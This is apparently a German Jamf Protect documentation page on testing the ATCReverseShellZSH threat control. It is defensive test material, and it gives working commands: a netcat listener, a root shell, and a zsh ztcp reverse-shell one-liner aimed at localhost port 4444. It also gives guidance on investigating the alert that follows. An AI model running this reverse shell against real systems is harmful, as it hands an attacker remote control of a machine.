Testen und Analysieren mit erweiterten Bedrohungskontrollen: ATCReverseShellZSH

Ein gängiges Angriffsmuster ist eine ZSH-Syntax, die zur Erstellung einer Reverse Shell verwendet wird. Dies geschieht häufig, nachdem sich der Angreifer bereits Zugang zu einem System verschafft hat und eine provisorische interaktive Shell einrichten muss. Bei einem Reverse-Shell-Angriff versuchen die Angreifer meist, kompromittierte Systeme zu steuern und zu kontrollieren, indem sie eine Verbindung zurück zum System des Angreifers herstellen. So kann der Angreifer die Kontrolle über den kompromittierten Computer erlangen, typischerweise um ihn auszuspionieren, weitere Angriffe auszuführen oder eine Datenexfiltration durchzuführen.

Mit diesem Test können Sie auswerten, wie die erweiterte Bedrohungskontrolle einen Reverse-Shell ZSH (ATCReverseShellZSH)-Angriff blockieren und melden kann.

Requirements

Legen Sie in Ihrem Testplan in Jamf Protect die Einstellung Advanced Threat Controls (Erweiterte Bedrohungskontrollen) auf Block and Report (Blockieren und melden) oder Nur Bericht fest.

Wenn Sie eine virtuelle Maschine verwenden, erstellen Sie einen Snapshot, zu dem Sie am Ende dieser Simulation zurückkehren können.

Öffnen Sie ein Terminal Fenster und führen Sie den folgenden Befehl aus.
Diese Terminal Sitzung stellt einen Angreifer dar, der einen Listener auf seinem Computer erstellt, um anschließend eine Verbindung zum kompromittierten System aufzubauen.
```
# start a netcat listener on local host port 4444
nc -l 4444
```
Öffnen Sie ein weiteres Terminal Fenster und führen Sie den folgenden Befehl aus.
Diese Terminal Sitzung stellt das kompromittierte System dar, von dem aus der Angreifer bestätigt, dass der Listener aktiv ist.
```
# verify that port 4444 is up
sudo lsof -i -P | grep "4444"
```
Erstellen Sie im gleichen Terminal Fenster via ZSH eine Reverse Shell, die an Port 4444 eine Verbindung zurück zum lokalen Host erstellt. Führen Sie dazu die folgenden Befehle aus.
```
# Summon new shell
sudo -s

# Create reverse shell
/bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &
```
Die Ausgabe variiert je nach Konfiguration der erweiterten Bedrohungskontrollen:
- Wenn Sie Block and Report (Blockieren und melden) ausgewählt haben, gibt das sekundäre („kompromittierte“) Terminal Fenster eine native macOS Mitteilung darüber aus, dass der ZSH-Auftrag beendet, der Angriff gestoppt und keine Verbindung hergestellt wurde.
- Wenn Sie Nur Bericht ausgewählt haben, erscheint im ersten Terminal Fenster mit dem Netcat Listener („Angreifer“) eine Reverse Shell, nachdem die Payload vom „kompromittierten“ Terminal Fenster bereitgestellt wurde. So wird eine Verbindung vom kompromittierten System zurück zum Listener des Angreifers erstellt. Der Angreifer kann über den Netcat Listener Befehle auf dem kompromittierten System ausführen. Zum Beispiel nc -l 127.0.0.1 4444 und whoami.
Nach Abschluss der obigen Testschritte wird erwartungsgemäß ein neuer Alarm mit dem Titel ATCReverseShellZSH in Jamf Protect Cloud unter Alarme angezeigt.

Öffnen und überprüfen Sie den ATCReverseShellZSH-Alarm. Achten Sie auf folgende Elemente des Alarms:


Art der Kontrolle	Alarm-Element
Block and Report (Blockieren und melden)	Für Action (Aktion) wird Prevented (Verhindert) und für Status wird Auto Resolved (Automatisch behoben) angezeigt. Der Grund hierfür ist, dass Jamf Protect auf eine gängige Angriffstechnik (Reverse Shell) reagierte, bevor diese durchgeführt werden konnte.
Nur Bericht	Nach Prüfung der Alarmdetails und Bestimmung der Behebungsmaßnahmen können Sie den Status des Alarms nach Bedarf ändern.

In der Praxis sollte die Untersuchung dieses Alarms mit der Betrachtung des Prozessbaums der Programmausführung beginnen. Anschließend werden die Prozess-Argumente für die Zielinformationen und die Angriffsmethodik untersucht.

Untersuchen Sie unter Processes (Prozesse) > Process tree (Prozessbaum) die Ausführung dieses Programms:

Wenn das Blockieren deaktiviert ist, halten Sie das übergeordnete Element des ZSH-Befehls an, da dies wahrscheinlich die Shell eines Angreifers ist.
Wenn die Prozess-Tags zeigen, dass die Ausführung in Terminal.app erfolgte, ist wahrscheinlich der Endbenutzer verantwortlich und kein Angreifer.
Wenn sich die ZSH-Befehle nicht unter einem Terminal.app-Prozess befinden, halten Sie den für deren Ausführung verantwortlichen Prozess an und führen Sie weitere Analysen durch, um zu bestimmen, ob es weitere Anzeichen auf eine Beeinträchtigung des Systems gibt.

Unter Processes (Prozesse) > Process Arguments (Prozess-Argumente) können Sie die für die Fernverbindung verwendete Ziel-IP-Adresse und den Port sehen, wie die Remote-Sitzung initiiert wurde sowie das initiierte Reverse-Shell-Argument (in diesem Beispiel: /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &).

Wenn Sie vor Durchführung dieses Testszenarios einen Snapshot des virtuellen Computers erstellt haben, ist die einfachste Methode zur Bereinigung das Wiederherstellen des Snapshots. Andernfalls führen Sie diese Befehle in Terminal aus, um die erstellten Testdateien zu entfernen.
```
# Close the netcat window by entering exit.
exit
```